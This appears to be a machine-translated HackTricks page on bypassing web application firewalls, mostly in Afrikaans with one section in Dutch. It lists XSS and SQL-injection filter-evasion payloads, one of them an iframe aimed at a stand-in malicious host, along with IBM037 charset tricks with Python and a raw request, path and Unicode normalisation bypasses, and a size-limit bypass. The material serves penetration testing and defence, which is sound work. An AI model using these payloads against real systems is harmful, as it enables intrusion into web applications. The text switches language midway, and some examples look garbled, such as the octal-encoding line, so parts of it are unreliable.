WAF Bypass

Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

Regex Deurloop

Verskillende tegnieke kan gebruik word om die regex-filters op die vuurmuur te deurloop. Voorbeelde sluit afwisselende gevalle, die byvoeging van lynonderbrekings, en die enkodering van payloads in. Hulpbronne vir die verskillende deurloopmetodes kan gevind word by PayloadsAllTheThings en OWASP. Die voorbeelde hieronder is geneem uit hierdie artikel.

<sCrIpT>alert(XSS)</sCriPt> #changing the case of the tag
<<script>alert(XSS)</script> #prepending an additional "<"
<script>alert(XSS) // #removing the closing tag
<script>alert`XSS`</script> #using backticks instead of parenetheses
java%0ascript:alert(1) #using encoded newline characters
<iframe src=http://malicous.com < #double open angle brackets
<STYLE>.classname{background-image:url("javascript:alert(XSS)");}</STYLE> #uncommon tags
<img/src=1/onerror=alert(0)> #bypass space filter by using / where a space is expected
<a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaaa href=javascript:alert(1)>xss</a> #extra characters
Function("ale"+"rt(1)")(); #using uncommon functions besides alert, console.log, and prompt
javascript:74163166147401571561541571411447514115414516216450615176 #octal encoding
<iframe src="javascript:alert(`xss`)"> #unicode encoding
/?id=1+un/**/ion+sel/**/ect+1,2,3-- #using comments in SQL query to break up statement
new Function`alt\`6\``; #using backticks instead of parentheses
data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+ #base64 encoding the javascript
%26%2397;lert(1) #using HTML encoding
<a src="%0Aj%0Aa%0Av%0Aa%0As%0Ac%0Ar%0Ai%0Ap%0At%0A%3Aconfirm(XSS)"> #Using Line Feed (LF) line breaks
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=confirm()> # use any chars that aren't letters, numbers, or encapsulation chars between event handler and equal sign (only works on Gecko engine)

Charset-kodering

Charset-kodering is 'n tegniek wat gebruik word om karakters in 'n spesifieke karakterstel te verteenwoordig. Dit is belangrik om te verstaan ​​wanneer jy 'n webtoepassing pentesteer, veral wanneer jy probeer om 'n webtoepassing se Web Application Firewall (WAF) te omseil.

Wanneer 'n webtoepassing data ontvang, moet dit die data korrek interpreteer. Dit doen dit deur die data te ontleed en die karakters te vertaal na die korrekte karakterstel. As 'n WAF geïmplementeer is, sal dit probeer om skadelike data te identifiseer en te blokkeer. Een manier waarop dit gedoen kan word, is deur te kyk na die karakterstel wat gebruik word en te probeer om skadelike karakters te identifiseer.

Om 'n WAF te omseil, kan jy probeer om die karakterstel te verander wat deur die webtoepassing gebruik word. Dit kan gedoen word deur die data te kodifiseer in 'n ander karakterstel wat nie deur die WAF geïdentifiseer word nie. Byvoorbeeld, as die WAF slegs ASCII-karakters monitor, kan jy probeer om die data te kodifiseer in 'n ander karakterstel soos UTF-8 wat 'n wyer verskeidenheid karakters insluit.

Dit kan gedoen word deur die data te kodifiseer met behulp van 'n verskeidenheid tegnieke soos URL-kodering, HTML-entiteitskodering of Base64-kodering. Die webtoepassing sal dan die gekodeerde data ontvang en dit sal ontkodeer word in die oorspronklike karakterstel. As die WAF slegs die oorspronklike karakterstel monitor, sal dit nie die skadelike data identifiseer nie en sal dit deur die WAF glip.

Dit is belangrik om te onthou dat die omseiling van 'n WAF nie altyd suksesvol sal wees nie, aangesien WAF-tegnologieë voortdurend verbeter word. Dit is dus noodsaaklik om ander tegnieke en metodes te gebruik om 'n webtoepassing te pentesteer en te omseil.

# Charset encoding
application/x-www-form-urlencoded;charset=ibm037
multipart/form-data; charset=ibm037,boundary=blah
multipart/form-data; boundary=blah; charset=ibm037

##Python code
import urllib
s = 'payload'
print(urllib.parse.quote_plus(s.encode("IBM037")))

## Request example
GET / HTTP/1.1
Host: buggy
Content-Type: application/x-www-form-urlencoded; charset=ibm500
Content-Length: 61

%86%89%93%85%95%81%94%85=KKaKKa%C6%D3%C1%C7K%A3%A7%A3&x=L%A7n

Verduistering

Obfuscation is een techniek die wordt gebruikt om code of gegevens te verbergen of te verduisteren, zodat het moeilijker wordt voor aanvallers om ze te begrijpen of te analyseren. Het doel van obfuscation is om de leesbaarheid en begrijpelijkheid van de code te verminderen, terwijl de functionaliteit behouden blijft.

Obfuscation kan op verschillende manieren worden toegepast, zoals:

  • Code obfuscation: Dit omvat het wijzigen van de structuur en het formaat van de code, het toevoegen van overbodige instructies en het gebruik van complexe namen voor variabelen en functies. Dit maakt de code moeilijker te begrijpen en te analyseren.

  • String obfuscation: Hierbij worden strings (tekstgegevens) in de code vervangen door gecodeerde of versleutelde varianten. Dit maakt het moeilijker voor aanvallers om gevoelige informatie te vinden of te begrijpen.

  • Payload obfuscation: Dit omvat het wijzigen van de payload (aanvalscode) om detectie door beveiligingsmechanismen te voorkomen. Dit kan worden gedaan door het gebruik van technieken zoals het wijzigen van de syntaxis, het toevoegen van willekeurige gegevens of het gebruik van polymorfe code.

Obfuscation kan effectief zijn bij het omzeilen van beveiligingsmechanismen, zoals Web Application Firewalls (WAF's), die proberen aanvallen te detecteren en te blokkeren op basis van bekende patronen of handtekeningen. Door de code of gegevens te verduisteren, wordt het moeilijker voor de WAF om de aanval te herkennen en te blokkeren.

Het is echter belangrijk op te merken dat obfuscation geen volledige bescherming biedt tegen beveiligingsmaatregelen. Geavanceerde aanvallers kunnen nog steeds manieren vinden om de verduisterde code te analyseren en de aanval uit te voeren. Daarom moet obfuscation worden gebruikt als een aanvullende beveiligingslaag en niet als de enige verdediging.

# IIS, ASP Clasic
<%s%cr%u0131pt> == <script>

# Path blacklist bypass - Tomcat
/path1/path2/ == ;/path1;foo/path2;bar/;

Unicode Verenigbaarheid

Afhankelijk van die implementering van Unicode normalisering (meer inligting hier), kan karakters wat Unicode verenigbaarheid deel, die WAF omseil en uitgevoer word as die beoogde payload. Verenigbare karakters kan hier gevind word hier

Voorbeeld

# under the NFKD normalization algorithm, the characters on the left translate
# to the XSS payload on the right
<img src⁼p onerror⁼'prompt⁽1⁾'﹥  --> <img src=p onerror='prompt(1)'>

Oorskryding van Grootte Beperkings

Dit is algemeen in wolk-gebaseerde WAFs dat as die lading groter is as X grootte, sal die versoek nie deur die WAF nagegaan word nie. Jy kan dit eenvoudig gebruik om hulle te omseil.

IP Rotasie

Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

Last updated